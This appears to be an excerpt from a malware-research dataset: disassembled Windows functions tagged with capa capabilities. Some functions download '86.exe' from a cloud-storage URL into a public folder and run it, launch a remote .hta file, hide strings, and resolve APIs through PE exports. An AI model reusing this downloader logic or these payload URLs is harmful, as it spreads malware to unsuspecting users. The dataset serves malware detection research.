joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40116a
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4030a7
mov eax, dword fs:[0]
push eax
mov eax, 0x10bc
call fcn.00403060
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10c8], edx
mov esi, ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.WinINetDownloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x4011c3
xor al, al
jmp 0x4012fc
cmp dword [esi + 0x14], 0xf
jbe 0x4011cb
mov esi, dword [esi]
push ebx
push 0x80000000
push ebx
push ebx
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4011ea
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4011bc
push 0xb0
lea eax, [ebp - 0x10c4]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x10c8]
add esp, 0xc
cmp dword [eax + 0x14], 0xf
jbe 0x40120d
mov eax, dword [eax]
sub esp, 0xc
lea ecx, [ebp - 0x10c4]
push eax
call fcn.00401e3a
mov eax, dword [ebp - 0x10c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x10c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x10c8], eax
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x10c4]
mov eax, dword [ebp - 0x10c4]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x401290
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
jmp 0x4012e3
cmp dword [ebp - 0x1014], 0
je 0x4012ae
push ebx
push dword [ebp - 0x1014]
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x10c4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40126d
lea ecx, [ebp - 0x10c0]
call fcn.00401df8
test eax, eax
jne 0x4012d5
mov eax, dword [ebp - 0x10c4]
lea ecx, [ebp - 0x10c4]
push ebx
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov bl, 1
lea ecx, [ebp - 0x105c]
call fcn.00401bcb
lea ecx, [ebp - 0x105c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040227f
leave
ret
Function at 0x40132a
Capabilities:
Create process on windows

Disassembly:
push 0x70
mov eax, 0x4030e6
call fcn.0040301b
mov edi, str.C:UserspublicDownloads86.exe
lea ecx, [ebp - 0x7c]
push edi
call fcn.00401c1f
xor esi, esi
lea ecx, [ebp - 0x64]
push str.https:__basic_1323738527.cos.ap_guangzhou.myqcloud.com_bwj_config_86.exe
mov dword [ebp - 4], esi
call fcn.00401c1f
lea edx, [ebp - 0x7c]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x64]
call fcn.0040116a
lea ecx, [ebp - 0x64]
call fcn.00401bfb
lea ecx, [ebp - 0x7c]
call fcn.00401bfb
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0x3c
lea eax, [ebp - 0x4c]
movlpd qword [ebp - 0x28], xmm0
push eax
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], str._https:__basic_1323738527.cos.ap_guangzhou.myqcloud.com_bwj_config_test.hta
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
call fcn.00402fd6
ret

Function at 0x40160c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40162f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x4016ee
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
test ecx, ecx
je 0x401655
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x40165a
xor ecx, ecx
mov dword [ebp - 8], eax
mov eax, ecx
cdq
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x4016ba
jg 0x40166f
test esi, esi
je 0x4016ba
test ecx, ecx
jl 0x4016b5
jg 0x401679
test eax, eax
je 0x4016b5
cmp edi, ecx
jg 0x40168b
jl 0x401683
cmp esi, eax
jae 0x40168b
mov eax, esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 8]
add esp, 0xc
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [ebp - 4]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x4016bd
mov ecx, dword [ebp + 8]
jmp 0x4016c7
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x4016e2
jg 0x4016c7
test esi, esi
je 0x4016e2
cmp dword [ebx + 0x4c], 0
je 0x4016e2
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4016f3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
test esi, esi
jg 0x40171d
jl 0x401714
test ebx, ebx
jne 0x40171d
xor eax, eax
xor edx, edx
jmp 0x4017d9
cmp dword [ecx + 0x38], 0
je 0x401731
push esi
push ebx
push edx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
jmp 0x4017d9
mov eax, dword [ecx + 0x1c]
push edi
mov edi, ebx
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401771
mov eax, dword [ecx + 0x2c]
cmp dword [eax], 0
jbe 0x401771
cmp dword [eax], ebx
mov esi, ebx
cmovb esi, dword [eax]
push esi
push dword [ebp - 0xc]
push edx
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 8]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0x10]
cmp dword [ecx + 0x4c], 0
je 0x4017cf
call fcn.00401cac
mov edx, dword [ebp - 4]
mov eax, edi
cmp edi, 0xfff
jbe 0x4017b9
push dword [ecx + 0x4c]
push 0xfff
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, dword [ebp - 4]
mov ecx, 0xfff
add edx, eax
add esp, 0x10
sub edi, eax
mov dword [ebp - 4], edx
cmp eax, ecx
jne 0x4017cf
cmp edi, ecx
mov ecx, dword [ebp - 8]
ja 0x401789
mov eax, edi
test eax, eax
je 0x4017cf
push dword [ecx + 0x4c]
push edi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x401a4f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x401a75
xor eax, eax
jmp 0x401b3a
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x401a9e
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x401a9e
dec dword [edx]
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
mov eax, ebx
jmp 0x401b3a
cmp dword [esi + 0x4c], 0
je 0x401b38
mov ecx, esi
call fcn.00401cac
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x401acc
movsx eax, bl
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
pop ecx
pop ecx
cmove ebx, edi
jmp 0x401a97
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x401b07
sub eax, 1
je 0x401b07
dec eax
sub eax, 1
jne 0x401b38
movsx eax, byte [ebp - 0x25]
jmp 0x401ab9
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x34], eax
je 0x401b2b
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x34], eax
jne 0x401b38
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
cmovne edi, ebx
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040227f
leave
ret 4

Function at 0x401ccf
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x38], ebx
je 0x401d27
cmp byte [esi + 0x3d], bl
je 0x401d27
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x401d61
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, ebx
je 0x401d38
sub eax, 1
je 0x401d3b
dec eax
sub eax, 1
jne 0x401d61
mov byte [esi + 0x3d], bl
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040227f
leave
ret
mov byte [esi + 0x3d], bl
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x401d59
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x401d61
cmp byte [esi + 0x3d], bl
sete al
jmp 0x401d29
xor al, al
jmp 0x401d29
Function at 0x402b1f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402b5e
mov ecx, _exit
cmp word [eax], cx
jne 0x402b5e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402b5e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402b5e
cmp dword [ecx + 0x74], 0xe
jbe 0x402b5e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x5194b0
Capabilities:
Get thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x542b38
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x58ab78]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov eax, dword [0x58c3cc]
mov edi, dword [esp + 0x24]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edi
cmp eax, 0xffffffff
je 0x519561
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x519561
lea esi, [eax + 0x14]
lea eax, [esp + 0x24]
mov ecx, esi
push eax
lea eax, [esp + 0x14]
push eax
call fcn.004f8e70
mov eax, dword [esp + 0x10]
cmp eax, dword [esi]
je 0x519561
lea esi, [eax + 0x14]
test esi, esi
je 0x519561
cmp byte [esp + 0x34], 0
je 0x519536
mov ecx, dword [esi]
test ecx, ecx
je 0x519536
mov edx, dword [esi + 8]
test edx, edx
je 0x519536
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esp + 0x28], 0
mov ebx, dword [esp + 0x30]
jne 0x519550
test ebx, ebx
jne 0x519550
push edi
call fcn.005188e0
add esp, 4
jmp 0x519599
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call fcn.00517d70
mov dword [esi + 8], ebx
jmp 0x519599
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x30]
test ecx, ecx
jne 0x519571
test eax, eax
je 0x519599
push eax
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [esp + 0x38]
mov dword [eax + 4], ecx
test ecx, ecx
je 0x519590
add ecx, 4
mov eax, 1
lock xadd dword [ecx], eax
push edi
call fcn.00518080
add esp, 0x10
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x1c], 0xffffffff
test esi, esi
je 0x5195d4
or edi, 0xffffffff
lea ecx, [esi + 4]
mov eax, edi
lock xadd dword [ecx], eax
cmp eax, 1
jne 0x5195d4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
lea eax, [esi + 8]
lock xadd dword [eax], edi
cmp edi, 1
jne 0x5195d4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x519bbf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push esi
mov byte [ebp - 0x44], 0x25
mov byte [ebp - 0x43], 0x4e
mov byte [ebp - 0x42], 0x6b
mov byte [ebp - 0x41], 0x43
mov byte [ebp - 0x40], 0x75
mov byte [ebp - 0x3f], 0x73
mov byte [ebp - 0x3e], 0x31
mov byte [ebp - 0x3d], 0x24
mov byte [ebp - 0x3c], 0x31
mov byte [ebp - 0x3b], 0x66
mov byte [ebp - 0x3a], 0x40
mov byte [ebp - 0x39], 0x37
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x57
mov byte [ebp - 0x36], 0x55
mov byte [ebp - 0x35], 0x46
mov byte [ebp - 0x34], 0x39
mov byte [ebp - 0x33], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x50], 0
mov eax, 0x6b
mov word [ebp - 0xa0], ax
mov ecx, 0x65
mov word [ebp - 0x9e], cx
mov edx, 0x72
mov word [ebp - 0x9c], dx
mov eax, 0x6e
mov word [ebp - 0x9a], ax
mov ecx, 0x65
mov word [ebp - 0x98], cx
mov edx, 0x6c
mov word [ebp - 0x96], dx
mov eax, 0x33
xor eax, dword [eax]
add byte [eax], al
mov word [ebp - 0x94], ax
mov ecx, 0x32
invalid
invalid
lea ebp, [esi - 1]
invalid
Function at 0x51a4cf
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x10], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
jmp 0x51a532
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x18]
jae 0x51a574
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0051a42f
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x51a572
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
jmp 0x51a576
jmp 0x51a529
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x51cc23
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4012c0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x1b4
push ebx
push ebp
push esi
mov esi, ecx
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0xc4]
push eax
push ecx
mov byte [esp + 0xcc], 0
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x1c8]
lea edx, [esp + 0x20]
xor ebp, ebp
push edx
push ebx
mov ecx, esi
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], 0xf000c
call fcn.004011c0
mov edi, eax
cmp edi, ebp
jne 0x40132a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1b4
ret 4
push 1
push 2
push edi
mov ecx, esi
call fcn.004014f0
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push 4
lea edx, [esp + 0x34]
push ecx
push edx
push str.PrinterID
push edi
mov dword [esp + 0x34], 0
call sub.WINSPOOL.DRV_GetPrinterDataA
test eax, eax
mov dword [esp + 0x10], eax
je 0x401377
mov dword [esp + 0x14], 0
push ebx
mov ecx, esi
call fcn.00401b80
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 4]
mov cl, byte [eax]
cmp cl, 0x2f
je 0x401392
cmp cl, 0x5c
jne 0x4013c2
mov al, byte [eax + 1]
cmp al, 0x2f
je 0x40139d
cmp al, 0x5c
jne 0x4013c2
mov eax, dword [ebp]
test eax, eax
je 0x4013c2
lea ecx, [esp + 0xc4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4013c2
mov edx, dword [ebp + 4]
push edx
call sub.WINSPOOL.DRV_DeletePrinterConnectionA
jmp 0x4013c8
push edi
call sub.WINSPOOL.DRV_DeletePrinter
push edi
mov dword [esp + 0x14], eax
call sub.WINSPOOL.DRV_ClosePrinter
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401445
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x40], 1
jne 0x401445
push str.EPSTHK32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401445
push str.RemoveLogicalDevice
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40143e
mov ecx, dword [esp + 0x14]
mov edx, dword [ebp + 4]
push 0
push 8
push ecx
mov ecx, dword [ebp + 0x10]
push edx
push ecx
push str.printer
call eax
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b4
ret 4
Function at 0x401b80
Capabilities:
Check os version

Disassembly:
sub esp, 0xf4
push ebx
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x68]
mov dword [esp + 0x68], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x78]
test eax, eax
je 0x401bc7
cmp eax, 1
jne 0x401bd7
mov eax, dword [esp + 0x6c]
cmp eax, 4
ja 0x401be3
jne 0x401bc7
cmp dword [esp + 0x70], 0xa
jae 0x401be3
pop edi
mov eax, 1
pop ebx
add esp, 0xf4
ret 4
cmp eax, 2
jne 0x401bc7
cmp dword [esp + 0x6c], 5
jb 0x401bc7
push str.mscms.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
push str.EnumColorProfilesA
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test ebx, ebx
mov edi, eax
je 0x401bc7
push ebp
mov ebp, dword [esp + 0x104]
lea ecx, [esp + 0xc]
push 0
push ecx
lea edx, [esp + 0x20]
push 0
push edx
push 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x2c], 0x54
mov dword [esp + 0x30], 0x200
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], ebp
call edi
mov eax, dword [esp + 0xc]
test eax, eax
jbe 0x401cc2
add eax, 0x10
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401cc2
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x24]
push esi
push ecx
push 0
call edi
test eax, eax
je 0x401caf
push str.DisassociateColorProfileFromDeviceA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov al, byte [esi]
test al, al
je 0x401caf
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
push esi
push 0
call edi
push esi
call ebx
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x401c99
mov ebx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0xf4
ret 4
Function at 0x402580
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x20
mov eax, dword [esp + 0x24]
push esi
push edi
xor esi, esi
push str.SetupDiGetDeviceInterfaceDetailA
push eax
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
jne 0x4025ab
pop edi
xor eax, eax
pop esi
add esp, 0x20
ret 0x18
mov edx, dword [esp + 0x34]
push ebx
mov ebx, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push esi
push ecx
push esi
push esi
push edx
push ebx
call edi
mov eax, dword [esp + 0xc]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp eax, esi
mov dword [esp + 0x34], eax
je 0x4026a5
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebp, eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x40]
mov dword [ebp], 5
mov eax, dword [esp + 0x14]
push edx
push eax
push ebp
push ecx
push ebx
mov dword [esp + 0x2c], 0x1c
call edi
test eax, eax
je 0x402692
mov edx, dword [esp + 0x34]
push str.SetupDiOpenDevRegKey
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402692
push 0xf003f
push 1
push 0
lea ecx, [esp + 0x20]
push 1
push ecx
push ebx
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x402692
mov ebx, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x34]
push eax
push ebx
push ecx
push 0
push str.PortName
push edi
mov dword [esp + 0x54], edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
push edi
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x402692
mov edx, dword [esp + 0x40]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402692
add ebp, 4
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [esp + 0x38]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 0x18